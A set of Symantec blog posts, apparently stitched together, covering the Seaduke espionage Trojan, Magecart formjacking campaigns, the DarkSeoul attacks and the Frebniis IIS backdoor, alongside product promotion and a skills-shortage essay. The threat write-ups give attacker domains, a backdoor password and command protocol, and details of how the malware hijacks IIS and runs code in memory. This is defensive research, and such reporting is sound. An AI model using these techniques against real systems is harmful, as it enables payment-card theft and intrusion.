Symantec has uncovered an elusive Trojan used by the cyberespionage group behind the “Duke” family of malware. Seaduke (detected by Symantec as Trojan.Seaduke) is a low-profile information-stealing Trojan which appears to be reserved for attacks against a small number of high-value targets.
Seaduke has been used in attacks against a number of major, government-level targets. The malware hides behind numerous layers of encryption and obfuscation and is capable of quietly stealing and exfiltrating sensitive information such as email from the victim’s computer. Seaduke has a highly configurable framework and Symantec has already found hundreds of different configurations on compromised networks. Its creators are likely to have spent a considerable amount of time and resources in preparing these attacks and the malware has been deployed against a number of high-level government targets.
While the Duke group began to distribute Cozyduke in an increasingly aggressive manner, Seaduke installations were reserved only for select targets. Seaduke victims are generally first infected with Cozyduke and, if the computer appears to be a target of interest, the operators will install Seaduke.
Background
The group behind Seaduke is a cyberespionage operation that is responsible for a series of attacks against high-profile individuals and organizations in government, international policy and private research in the United States and Europe. It has a range of malware tools at its disposal, known as the Dukes, including Cozyduke (Trojan.Cozer), Miniduke (Backdoor.Miniduke) and Cosmicduke (Backdoor.Tinybaron).
News of the Duke group first emerged in March and April of 2015, when reports detailing attacks involving a sophisticated threat actor variously called Office Monkeys, EuroAPT, Cozy Bear, and Cozyduke were published. Symantec believes that this group has a history of compromising governmental and diplomatic organizations since at least 2010.
The group began its current campaign as early as March 2014, when Trojan.Cozer (aka Cozyduke) was identified on the network of a private research institute in Washington, D.C. In the months that followed, the Duke group began to target victims with “Office Monkeys”- and “eFax”-themed emails, booby-trapped with a Cozyduke payload. These tactics were atypical of a cyberespionage group. It’s quite likely these themes were deliberately chosen to act as a smokescreen, hiding the true intent of the adversary.
Figure 1. Cozyduke campaign used an “Office Monkeys” video as a lure–July 2014
The Duke group has mounted an extended campaign targeting high-profile networks over extended periods, something which is far beyond the reach of the majority of threat actors. Its capabilities include:
Attack infrastructure leveraging hundreds of compromised websites
Rapidly developed malware frameworks in concurrent use
Sophisticated operators with fine-tuned computer network exploitation (CNE) skills
Although Cozyduke activity was first identified in March 2014, it wasn’t until July that the group managed to successfully compromise high-profile government networks. Cozyduke was used throughout these attacks to harvest and exfiltrate sensitive information to the attackers.
In parallel, the Duke group was also installing separate malware onto these networks, namely Backdoor.Miniduke and the more elusive Trojan.Seaduke. It could use these payloads to exploit networks on multiple fronts and providing it with additional persistence mechanisms.
The Miniduke payload
In July of 2014, the group instructed Cozyduke-infected computers to install Backdoor.Miniduke onto a compromised network. Miniduke has been the group’s tool of choice for a number of years in espionage operations predominantly targeting government and diplomatic entities in Eastern Europe and ex-Soviet states. “Nemesis Gemina” appears to be the internal name for the framework used by the group to identify the project, previously reported by Kaspersky.
The following debug string was present in the sample used in these attacks:
C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb
This project name has been seen in Backdoor.Tinybaron (aka Cosmicduke) samples, which Symantec also attributes to the Duke group. This deployment of Miniduke and the technical similarities with Cozyduke provided strong indicators as to who was behind the attacks.
The Seaduke payload
These attacks were already well underway when another group began to deploy a previously unknown piece of malware. In October 2014, the Seaduke payload began to appear within target networks. Although Seaduke was developed in Python, the overall framework bears a striking resemblance to Cozyduke in terms of operation. It’s unclear why the attackers waited until October to deploy Seaduke. Was it reserved for a more specific attack? Was part of their cover blown, necessitating the use of an alternative framework?
The Seaduke framework was designed to be highly configurable. Hundreds of reconfigurations were identified on compromised networks. The communication protocol employed had many layers of encryption and obfuscation, using over 200 compromised web servers for command and control. Seaduke required a significant investment of time and resources in the preparatory and operational phases of the attack.
Seaduke delivery
The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading “tasks” to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website.
Figure 2. How the attacker tasks Cozer to install Seaduke
Seaduke operation
The attackers can operate Seaduke in a broadly similar fashion to Cozyduke. The Seaduke control infrastructure is essentially distinct, opening up the possibility of sub-teams concurrently exploiting the target network. Unlike Cozyduke, Seaduke operators upload “task” files directly to the command-and-control (C&C) server; there is no database as such present. Seaduke securely communicates with the C&C server over HTTP/HTTPS beneath layers of encoding (Base64) and encryption (RC4, AES). To an untrained eye, the communications look fairly benign, no doubt an effort to stay under the radar on compromised networks.
Figure 3. How Seaduke operates on the target network
Seaduke has many inbuilt commands which are available to the attackers. They have the ability to retrieve detailed bot/system information, update bot configuration, upload files, download files, and self-delete the malware from the system. The self-delete function is interestingly called “seppuku”. This is a form of Japanese ritual suicide.
Seaduke payloads
The attackers have also developed a number of additional payloads. Operators can push these payloads onto infected machines for very specific attacks.
Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell)
Email extraction from the MS Exchange Server using compromised credentials
Archiving sensitive information
Data exfiltration via legitimate cloud services
Secure file deletion
What next?
The Duke group has brought its operational capability to the next level. Its attacks have been so bold and aggressive, that a huge amount of attention has been drawn to it, yet it appears to be unperturbed. Its success at compromising such high-profile targets has no doubt added a few feathers to its cap. Even the developers reveled in this fact, naming one of Seaduke’s functions “forkmeiamfamous”.
While the group is currently keeping a lower profile, there’s no doubt it will reappear. Some tools may have to be abandoned, some reworked and others built completely from scratch. This attack group is in it for the long haul.
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Formjacking: Major Increase in Attacks on Online Retailers
Symantec has blocked almost a quarter of a million instances of attempted formjacking since mid-August.
Symantec has seen a major uptick in formjacking attacks recently, with publicly reported attacks on the websites of companies including Ticketmaster, British Airways, Feedify, and Newegg by a group called Magecart being the most notable examples.
Formjacking is a term we use to describe the use of malicious JavaScript code to steal credit card details and other information from payment forms on the checkout web pages of e-commerce sites. Formjacking is not a new technique, but recent campaigns are interesting as they are large, sophisticated, and have increased dramatically since mid-August 2018.
Symantec’s Intrusions Prevention System (IPS) technology proactively protects website users from formjacking attacks.
How does formjacking work?
When a customer of an e-commerce site clicks “submit” or its equivalent after entering their details into a website’s payment form, malicious JavaScript code that has been injected there by the cyber criminals collects all entered information, such as payment card details and the user’s name and address. This information is then sent to the attacker’s servers. Attackers can then use this information to perform payment card fraud or sell these details to other criminals on the dark web.
"Since August 13 Symantec has blocked 248,000 attempts at formjacking https://symc.ly/2xBEBVw"
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How big is this campaign?
This is a significant and sustained campaign, with activity increasing substantially in the week of September 13 to 20.
According to Symantec telemetry, since August 13 we have blocked 248,000 attempts at formjacking—almost a quarter of a million instances. However, more than one third of those blocks (36 percent) occurred from September 13 to 20, indicating that this activity is increasing.
Figure 1. Blocks from August 13 to September 20, 2018. 36 percent of blocks occurred from September 13 to 20.
If we compare the week of September 13 to 20 to the same week in August, the number of instances of formjacking blocked by Symantec more than doubled, jumping from just over 41,000 to almost 88,500—a percentage increase of 117 percent.
Since August 13, we have blocked an average of 6,368 formjacking attempts every day.
Our data shows that any company, anywhere in the world, which processes payments online is a potential victim of formjacking
What types of businesses are these attacks targeting?
As we can see from the publicly reported attacks, Magecart is targeting large e-commerce businesses like Ticketmaster, British Airways, and Newegg.
To get an insight into the type of businesses that are being targeted by formjacking attacks, we examined 1,000 instances of formjacking blocked by Symantec over a three-day period from September 18 to 20.
Symantec data showed that from these 1,000 instances 57 individual websites were impacted. These websites were mostly online retail sites ranging from small niche sites to larger retail operations. Websites affected ranged from a fashion retailer in Australia, to a supplier of outdoor accessories in France, and a fitness retailer in Italy. Other retailers affected included a supplier of parts for cars and sites selling kitchen accessories and customized gifts.
While the compromise of larger organizations such as British Airways and Ticketmaster makes headlines, our data shows that any company, anywhere in the world, which processes payments online is a potential victim of formjacking.
Who is Magecart?
Magecart is the attack group behind the recent formjacking attacks on British Airways, Ticketmaster, Feedify, and Newegg. Magecart has been active since at least 2015. The group injects web-based card skimmers onto websites to steal payment card data and other sensitive information from online payment forms.
The group used to primarily focus on hacking into Magneto online stores, but it appears to have changed tactics recently, and we now see it using formjacking and supply chain compromise to steal payment card data.
How are websites being compromised?
There are many ways attackers can attempt to compromise websites, but in the Ticketmaster formjacking case the Magecart attackers used a supply chain attack to gain access to the website and change the code on its payment page.
We wrote about supply chain attacks in ISTR 23 and predicted we would continue to see them occurring frequently in 2018—and we have. Supply chain attacks can allow attackers to gain access to large companies by exploiting weaknesses in smaller businesses used by the larger company to provide different services. The famous Petya/NotPetya campaign, for example, was distributed via a supply chain attack. Supply chain attacks are particularly challenging because it doesn’t matter how good your business’ cyber security is if other businesses with access to your network can be exploited by attackers.
The uptick in formjacking attacks came to wider notice following the Ticketmaster breach, which was reported in June. The Magecart attackers injected malicious JavaScript code onto Ticketmaster’s website after they compromised a chatbot from tech firm Inbenta that was used for customer support on Ticketmaster websites. Magecart was then able to alter the JavaScript code on Ticketmaster’s websites to capture payment card data from customers and send it to their servers. The code may have been on the Ticketmaster website for almost a year, with international Ticketmaster customers warned they may have been affected if they bought tickets between September 2017 and June 2018. Inbenta said Magecart had exploited a number of vulnerabilities to target its front-end servers and alter the chatbot code.
Following the Ticketmaster breach it was revealed that Magecart was widely targeting third-party companies that are used on e-commerce sites to manage analytics, website support, and other services. The report at that time said at least 800 e-commerce sites had been hit in that campaign. The danger is that if Magecart can compromise one widely used third-party supplier, they could potentially infect thousands of sites in one go.
Feedify is one such third-party service that is used by many websites to serve up push notifications to website visitors. It was notified by a threat researcher on September 11 that some of its JavaScript code had been modified with the Magecart script, which prompted Feedify to delete the code. However, within 24 hours the code had been modified again, Feedify again deleted it but it once again reappeared, with threat researchers subsequently warning users of Feedify to stop using it until the issue was resolved.
Magecart’s attack on British Airways—which the airline said impacted 380,000 passengers—was, along with Ticketmaster, its most high-profile attack so far. In the attacks on both British Airways and U.S. electronics retailer Newegg, the Magecart attackers took steps to avoid detection, including setting up spoofed web domains designed to look like those of the legitimate company. They even purchased paid SSL certificates from Comodo to make them look more like legitimate servers.
British Airways and Newegg were both compromised in a similar manner, with a small amount of JavaScript code added to a page on the companies’ websites to allow entered payment information to be sent to the Magecart attackers’ servers via the spoofed domains. The attacks took place in a similar timeframe, with Magecart present on British Airway’s website from August 21 to September 5, and Newegg’s website from August 14 to September 18.
In the cases of both British Airways and Newegg the initial infection vector that allowed the attackers to gain access to the websites is not known.
Protection
Victims may not realize they are victims of formjacking as generally their websites continue to operate as normal, and attackers like Magecart are sophisticated and stealthy and take steps to avoid detection.
Symantec customers are protected from formjacking attacks.
Network-based protection
Web Attack: Mass Injection Website 19
Web Attack: Mass Injection Website 62
Web Attack: Mass Injection Website 63
File-based protection
Infostealer.Jscoffe
Website owners should also be aware of the dangers of software supply chain attacks, as these have been used as the infection vector in some of these formjacking attacks. Software supply chain attacks can be difficult to guard against, but there are some steps that website owners can take:
Test new updates, even seemingly legitimate ones, in small test environments or sandboxes first, to detect any suspicious behavior.
Behavior monitoring of all activity on a system can also help identify any unwanted patterns and allow you to block a suspicious application before any damage can be done.
Producers of software packages should ensure that they are able to detect unwanted changes in the software update process and on their website.
Website owners can also use content security policies with Subresource Integrity tags (SRI) to lock down any integrated third-party script.
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Formjacking: Targeting Popular Stores Near You
Symantec examines the technical aspects of formjacking and details a new campaign affecting top shopping sites.
Formjacking, the use of malicious JavaScript code to steal credit card details and other information from payment forms on the checkout webpages of e-commerce sites, has been making headlines lately. In our previous blog, we discussed how formjacking generally works and cited a few publicly reported attacks that targeted popular online businesses. In this blog, we look at the more technical aspects of formjacking and detail a new campaign affecting a number of top shopping sites.
New campaign, new technique
Recently, we came across a website of a retail store in Paris which was injected with a formjacking script (Figure 1).
Figure 1. Code injected into affected sites’ pages
The code shown in Figure 1 collects the payment information entered by users on the website and posts it to the domain google-analyitics.org. This domain is a typo-squatted version of the legitimate Google Analytics domain, google-analytics.com.
This was no new occurrence for us, considering the number of payment information-stealing script injections we see daily. However, digging into our telemetry, we came across an interesting pattern. We observed popular websites from different countries—such as the U.S., Japan, Australia, and Germany—redirecting to this one Paris website. This created an interesting redirection chain as customers of all these websites were being infected by formjacking at the same time. Figure 2 shows how this infection chain works.
Figure 2. Example of formjacking redirection
In a few cases, even all the regional websites of one brand were affected, redirecting to the same Paris website. We have been able to identify over 30 popular websites affected by this new infection wave, including fashion stores, educational websites, websites selling sports gear, etc.
"#Formjacking criminals are targeting popular online stores using new technique https://symc.ly/2Ru9wLh"
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Looking at our telemetry, we can confirm that this campaign has been around since at least November 25, 2018. To make matters worse, another piece of injected code on the same web page looks for the presence of debugging tools, such as Firebug, to thwart security researchers analyzing the malicious script.
Figure 3. Injected code that detects debugging tools
This latest formjacking campaign highlights the fact that attackers are continuously altering and improving their malicious code and exploring new delivery mechanisms to infect more users.
This attack chain is unique in the sense that it differs from the prevalent supply chain formjacking attack, where attackers compromise popular third-party script library providers. As these scripts are loaded by many websites, with one compromise the attacker manages to load their malicious code on a large number of websites all at the same time. In our scenario, the redirecting website and the compromised website in many cases come from different areas of the online shopping landscape, dealing in entirely different product spaces.
Symantec is currently notifying and working with the affected retailers to help address this issue, so we won’t be naming them here.
This latest formjacking campaign highlights the fact that attackers are continuously altering and improving their malicious code and exploring new delivery mechanisms to infect more users.
Multiple flavors of formjacking
In addition to the code previously mentioned, we have seen many other scripts injected into websites to steal payment information in various ways. For example, the code shown in Figure 4 was injected into one set of affected websites.
Figure 4. Injected code that forces the browser to load malicious obfuscated JavaScript
The script creates a script element and sets its source to https://apitstatus.com/api.js?v=3.0.8. This forces the browser to load malicious obfuscated JavaScript from apitstatus.com, which in turn collects the entered payment information and posts it back to the attackers’ domain.
On yet another set of websites, we discovered the code shown in Figure 5.
Figure 5. Obfuscated script which hooks website forms and steals entered form data
This obfuscated script applies a hook onto forms on the website and collects all the information entered by visitors. The script also extracts the URL loaded in the browser and determines if the checkout page of the website is loaded. If it has, the script sends the collected form information, which is now the payment information, back to the attacker-controlled domain. This version of a formjacking script was used in various high-profile breaches such as Ticketmaster UK, Shopper Approved, and Feedify.
Prevalence
In recent months, we have seen a major uptick in formjacking attacks against high-profile websites across the globe. From our telemetry, we have also observed locally popular websites (those with an Alexa Rank of less than 5,000 in a particular country) in the U.S., Japan, Germany, and Australia, among other countries, being injected with formjacking scripts.
Symantec’s Intrusion Prevention System (IPS) technology proactively protects website users from formjacking attacks. In the past three months alone, IPS has blocked more than 1 million formjacking attempts on more than 10,000 unique websites. Taking into account supply chain attacks, which can allow attackers to gain access to large companies by exploiting weaknesses in smaller businesses used by the larger company to provide different services, we can easily say that the actual number of infected websites is bound to be higher.
Figure 6. IPS blocked more than 1 million formjacking attempts from September to November 2018
Protection
Victims may not realize they are victims of formjacking, as generally their websites continue to operate as normal, and attackers are sophisticated and stealthy and take steps to avoid detection.
Symantec customers are protected from formjacking attacks.
Network-based protection
Web Attack: Formjacking Website 19
Web Attack: Formjacking Website 15
Web Attack: Formjacking Website 3
Website owners should also be aware of the dangers of software supply chain attacks, as these have been used as the infection vector in some of these formjacking attacks. Software supply chain attacks can be difficult to guard against, but there are some steps that website owners can take:
Test new updates, even seemingly legitimate ones, in small test environments or sandboxes first, to detect any suspicious behavior.
Behavior monitoring of all activity on a system can also help identify any unwanted patterns and allow you to block a suspicious application before any damage can be done.
Producers of software packages should ensure that they are able to detect unwanted changes in the software update process and on their website.
Website owners can also use content security policies with Subresource Integrity (SRI) tags to lock down any integrated third-party scripts.
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Forrester Data Security Portfolio Wave Names Symantec a Leader
As mobile and cloud computing redefines network security, Symantec’s approach to Zero Trust offers the greatest visibility into who is accessing your data, on premises and in the cloud
We’re proud to share that Symantec™ is named a Leader in The Forrester Wave™: Data Security Portfolio Vendors, Q2 2019. Of the 13 vendors evaluated, Symantec was top-ranked in the current offering category.
If you’re a Symantec Information Protection customer, we believe that you’ve made the best possible choice. If you’re looking to strengthen your data security, consider this report as your guide.
In our view, the report recognizes the strength of our integrated data security portfolio that enables enterprises to define, dissect, and defend data with products and services including:
Symantec Data Loss Prevention
Symantec CloudSOC
Symantec Encryption
Symantec Information Centric Analytics
Symantec Information Centric Tagging
Symantec Validation and ID Protection
Integrated data security and governance is a foundational element of our Zero Trust approach to cyber security. The Wave report recognizes that “Symantec supports a Zero Trust approach across a broad array of capabilities spanning data, endpoint, and network security.” Not coincidentally, Forrester names us a Leader in its evaluation of Zero Trust vendors (The Forrester Wave™: Zero Trust eXtended (ZTX) Ecosystem Providers, Q4 2018).
How to Become a Data Security Leader
Symantec Information Protection is today’s industry standard. We develop our data security portfolio around a simple fact: Cobbled-together collections of isolated point products do not effectively protect your organization. For your technologies, services, and threat intelligence to work as one, you need cyber security that’s built on an integrated framework. At Symantec, we call this our Integrated Cyber Defense Platform.
Only the Symantec integrated Information Protection portfolio delivers:
The broadest control point coverage: Protect your information wherever it is and wherever it is going: on premises, cloud, mobile, email, web, SaaS, IaaS, and more.
Easy implementation and management: Apply one policy to both cloud and on-premises channels, and manage and remediate incidents, and pull in analytics, using a single console. Simply and quickly expand coverage to other channels.
Download Report Now
Superior discovery and inspection: Use one content detection policy for real-time data in motion, scheduled and on-demand data discovery, and continuous (data-in-use) assessment. Covered channels include:
Windows and MacOS devices, servers, and virtual desktop infrastructure platforms
Web, SaaS, and IaaS including cloud-based workloads and object storage
Storage repositories and content management systems
Cloud storage and file-sharing services
Cloud applications
Databases (Oracle, SQL Server)
Messaging platforms (email, collaboration, enterprise social)
Network egress points (proxies, next-gen firewalls, web security services)
The most-complete incident remediation: Respond to insider threats by examining detailed incident artifacts and user and entity behavior analytics (UEBA). Log incidents, triage alerts, block leaks, notify users, apply encryption, classify data, strip shared links, quarantine sensitive files, and more—all from a single console.
Data intelligence driven by machine learning: Predict threats using telemetry from rich data sources including UEBA, cloud access security brokers, user behavior, endpoints, proxies, email, firewalls, and security information and event management systems. Clearly visualize your risk posture.
Symantec’s Zero Trust Approach to Data: Long Live the Micro Perimeter
In the Cloud Generation, data is the core of your security architecture.
You can't rely on firewalls as your sensitive data is just as likely in transit to and from the cloud as it is sitting inside your perimeter. You need a new type of data-centric perimeter, one that protects information with strong encryption techniques tied to intelligent authentication.
The Symantec approach to Zero Trust gives you the greatest visibility into who is accessing your data, both on premises and in the cloud. We bring your data into the clear only after our protections evaluate every user and device risk factor.
As mobile and cloud computing redefines network security, Symantec is protecting the new business perimeter, disrupting legacy protection models, and extending our lead in data security and governance.
To learn more about Symantec Information Protection, visit our Information Protection product page.
To learn more about Symantec Zero Trust, visit our Zero Trust Security page.
To learn more about the Symantec Integrated Cyber Defense Platform, visit our Integrated Cyber Defense page.
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Four Tools For Better DLP Hygiene
Are you using these four DLP system tools to optimize incident data?
Is poor data hygiene derailing the way you manage information security? Let the data related to how you manage your cybersecurity systems, specifically your alerts and reports, go unmanaged and you end up with duplicate or missing records, and bloated management databases. The result? Inefficient processes due to confusion over what actions have been taken, and delays in deciding on the next priority.
Symantec DLP provides complete data security spanning endpoints, networks, storage, web, and cloud. To help administrators manage the volume of alerts, we provide various tools to help you keep on top of your management data records, i.e. helping you keep the records you need and removing those that you don’t.
Read on to see how to improve your DLP system data hygiene!
Figure 1: Four tools for managing Incident Record hygiene
Incident Hygiene - storing and deleting records
Whenever Symantec DLP detects content that violates a policy, it creates an incident. Organizations have systems and people in place to assess, handle and resolve these incidents. It can also be important to maintain records related to these incidents, both to store, and where appropriate, delete records. Managing the hygiene of these records involves the four stages detailed below. Each of these tools is a complete feature in DLP and is easily available via the Enforce management console.
1. INCIDENT STORAGE
The DLP Administrator chooses whether to store the entire incident in the database, or if some parts will reside on disk. This is normally configured during the initial system set up, although it can be modified later. This is achieved via the BLOB (Binary Large Objects) Externalization feature that enables you to move or store all incident BLOBs to the disk instead of the database.
This feature can also be enabled on your currently active DLP installation by simply changing one property. Note, you should allow some time for the physical movement of these BLOBs.
Refer to “Enabling BLOB externalization” to know more.
2. DATABASE USAGE
As new incidents are generated and the size of the database grows, this feature lets you get a sneak peak at your database usage. This is called “Database Diagnostics View” and is designed especially for customers using the standard Oracle version. It shows a wealth of information in the Enforce UI, thus allowing you to know the queries underneath used to fetch all this usage information.
This feature shows the tablespace and their data files usage, allocation details for all DLP owned tables, indexes, LOB (Large binary Objects) usage so you can determine where the storage stands and take necessary actions.
Refer to “Database Diagnostics” to know more.
3. MARK INCIDENTS FOR DELETION
As the incident ages, or if there are incident records that do not need to be stored (e.g. false positive detections, or alerts that have already been acted on) they can be removed in an automated fashion. This is possible via the Incident Aging feature in Enforce, allowing you to automatically mark incidents meeting a certain criterion for deletion.
These incidents can be viewed by saving a report using the necessary filters and then setting this report to flag incidents for deletion. You can set one report for each channel to fully utilize this feature.
Refer to “Incident Aging” to know more.
4. PURGE INCIDENTS
Now that we explored how to view space usage and to automatically flag incidents for deletion, we need to physically purge them. DLP offers a feature called “Incident Deletor'' that will come to your rescue. This feature will scan DLP tables and delete all the incidents and data associated with the incidents from your database.
The feature can be accessed via the Enforce UI. One can start this job on demand or scheduled to run on based on your needs. The job status is updated in real time to monitor the progress during a big purge. Historical information of the jobs is displayed in a table which shows the count of incidents deleted in each job and detailed failure information if a job could not finish successfully.
Refer to “Incident Deletion” to know more.
As I’ve just shown, Symantec DLP includes simple steps to help manage your incident data and to free up database capacity by deleting and purging records that are no longer needed. If you need more information about these capabilities please contact your Symantec DLP representative and request an Information Protection Program Review.
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Four Ways to Address the Industry’s Talent and Skills Shortage
It’s time for the security industry to tackle its biggest challenge, one that will only get more acute as companies embrace digital transformation
Imagine going into a middle-sized town or city in Europe – say Blackburn, Brest, Dijon, Heidelberg, Leverkusen or Norwich – and finding every home deserted. Every shop empty. That image represents the distressing talent shortfall in the cyber security industry across the EMEA.
According to the 2018 (ISC) Cybersecurity Workforce Study, the talent shortfall in the region stands at 142,000 people – the same amount as a mid-sized European town. The huge gap between supply and demand should concern everyone who is concerned about safeguarding data.
A lack of security talent hinders companies as they embrace digital transformation, move to the cloud, and deploy advanced analytics to understand their customers better. Less obvious is the devastating effect the talent shortfall is having on the current ranks of cyber security professionals. They are overworked, stressed out, and too consumed with day-to-day activities to keep their own skills up to date.
Have a Skills Edge
Exclusive research from Symantec indicates how significant the problem is. We asked the opinions of more than 3,000 senior cyber security decision makers across the France, Germany and the UK. Almost half (48%) now believe that attackers have a raw skills advantage over defenders.
Burdened with the daily demands of keeping ahead of attackers, cyber security professionals have little time for their own skills development. This is one reason delegates at Symantec’s CISO Forum felt much of the current base of cyber security professionals, who have anywhere from one to three decades of experience, find the rise of cloud and mobility such a challenge to deal with.
Cyber security professionals are fed up with the stress and never-ending workdays. Some 64% are considering leaving their current job. Some 63% are thinking about leaving the industry altogether.
This, of course, could exacerbate the talent shortage. However, I have an additional concern. These highly skilled security experts love technology and security, but hate working in a “make it through the day” corporate environment. It is conceivable some of these cyber security professionals could go to “the dark side” and become hackers themselves.
Cyber security professionals are fed up with the stress and never-ending workdays. Some 64% are considering leaving their current job. Some 63% are thinking about leaving the industry altogether.
Adopt a New Approach to Security
To address the talent/skills gap, companies need to be creative and think in new ways. Here are four key steps:
Evangelize to Young People. Even as we ponder the current generation of cyber security professionals, we must prepare the next one. As an industry, we must evangelize and sell the idea of going into cyber security to young people. For example, I sit on the board of directors of TeenTech, a non-profit that helps young teenagers see the wide range of career possibilities in Science, Engineering, Technology, and Math (STEM).
Cast the Talent Net Wider. We must make a stronger effort to recruit people from diverse backgrounds. The Cybersecurity Workforce Study found only 24 percent of the workforce is female. Having a workforce made up largely of middle-aged white men provides a narrow perspective that exposes a company to social engineering attacks. This homogeneity of the profession is a concern, but it is also an opportunity. We have large groups to recruit from that have mostly been untapped. Think too about those looking for a career change, especially those from a profession that brings relevant skills.
Think Beyond Technology. Remember that cyber security is as much a social science as a technology endeavor. At the Symantec CISO Forum, one delegate told about the benefits of hiring a psychologist into the security team who suggested initiatives such as praising those that raised a potential threat. The phishing simulation click rate at the delegate’s company dropped from 27 percent to 8 percent in just 12 months. By realizing most cyber security tasks are not technical in nature, we can fortify our ranks with new kinds of professionals.
Eliminate Routine Chores. We need new approaches to reduce the mundane tasks that consume cyber security professionals and make their workday dreary and less productive. Cyber security has become enormously complex and can often contain more than 100 different point solutions from a huge mix of vendors. Using a cyber security platform to integrate those solutions can improve security and reduce the manual efforts required to manage it. In the same way, an integrated security platform can reduce the volume of false alerts. Using AI, machine learning and other new tools frees cyber security professionals to handle tasks that are more important and rewarding. It also reduces the pressure on companies to immediately recruit more cyber security professionals.
As the talent/skills gap grows, we must be as creative as the attackers who confront us – both in our tools and recruitment strategies. For more on this topic, please look at a new Symantec’s new report “High Alert: Skills Crisis.” It is required reading for anyone who wants to keep their data safe, and their cyber security professionals up-to-date in their skills and happy in their jobs.
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Four Years of DarkSeoul Cyberattacks Against South Korea Continue on Anniversary of Korean
Symantec attributes multiple previous high-profile attacks against South Korea to the DarkSeoul gang.
Yesterday, June 25, the Korean peninsula observed a series of cyberattacks coinciding with the 63rd anniversary of the start of the Korean War. While multiple attacks were conducted by multiple perpetrators, one of the distributed denial-of-service (DDoS) attacks observed yesterday against South Korean government websites can be directly linked to the DarkSeoul gang and Trojan.Castov.
We can now attribute multiple previous high-profile attacks to the DarkSeoul gang over the last 4 years against South Korea, in addition to yesterday’s attack. These attacks include the devastating Jokra attacks in March 2013 that wiped numerous computer hard drives at South Korean banks and television broadcasters, as well as the attacks on South Korean financial companies in May 2013.
Conducting DDoS attacks and hard disk wiping on key historical dates is not new for the DarkSeoul gang. They previously conducted DDoS and wiping attacks on the United States Independence Day as well.
Figure 1. Four years of DarkSeoul activity
The DarkSeoul gang’s attacks tend to follow similar methods of operation. Trademarks of their attacks include:
Multi-staged, coordinated attacks against high-profile targets in South Korea
Destructive payloads, such as hard disk wiping and DDoS attacks configured to trigger on historically significant dates
Overwriting disk sectors with politically-themed strings
Use of legitimate third-party patching mechanisms in order to spread across corporate networks
Specific encryption and obfuscation methods
Use of specific third-party webmailer servers to store files
Use of similar command-and-control structures
The attacks conducted by the DarkSeoul gang have required intelligence and coordination, and in some cases have demonstrated technical sophistication. While nation-state attribution is difficult, South Korean media reports have pointed to an investigation which concluded the attackers were working on behalf of North Korea. Symantec expects the DarkSeoul attacks to continue and, regardless of whether the gang is working on behalf of North Korea or not, the attacks are both politically motivated and have the necessary financial support to continue acts of cybersabotage on organizations in South Korea. Cybersabotage attacks on a national scale have been rare—Stuxnet and Shamoon (W32.Disttrack) are the other two main examples. However, the DarkSeoul gang is almost unique in its ability to carry out such high-profile and damaging attacks over several years.
Figure 2. Castov DDoS attack
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Frebniis: New Malware Abuses Microsoft IIS Feature to Establish Backdoor
Malware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.
Symantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft’s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.
The malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.
The technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.
Failed Request Event Buffering
IIS is a general-purpose web server that runs on Windows systems to serve requested HTML pages or files. An IIS web server accepts requests from remote client computers and returns the appropriate response. IIS has a feature known as Failed Request Event Buffering (FREB) that collects data and details about requests, such as originating IP address and port, HTTP headers with cookies, etc.
A feature called Failed Request Tracing can be used to troubleshoot IIS failed requests. Failed Request Tracing buffers the trace events for a request and flushes them to disk if the request meets the definition of “fail” set by the user. Failed request tracing can, for example, be used to learn why requests are returning a specific HTTP status code (401 or 404, etc.), or why a request is taking too long to process, or is not responding.
Stealth Code Hijacking of IIS
Frebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.
The authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.
Figure 1. Function pointer table used to hijack execution
Frebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.
Figure 2. After running its own malicious code, Frebniis jumps back to the original function
Backdoor
The Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to ‘7ux4398!’. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.
The .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.
To enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.
Table 1. Frebniis commands – the function names have been misspelled by the malware author
Command Function name Parameter Description
1 CreateConnect Host:Port Connect to a remote system for proxying, returns a UUID representing the remote system
2 ReadScoket Uuid Read a Base64 string from a remote system
3 Writescoket Uuid, Base64 string Write a Base64 string to a remote system
4 CloseScoket Uuid Close the connection
The .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the ‘/doc’ node under the ‘data’ attribute (E.g. <doc data=C# code>). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.
Figure 3. Example of how Frebniis is used
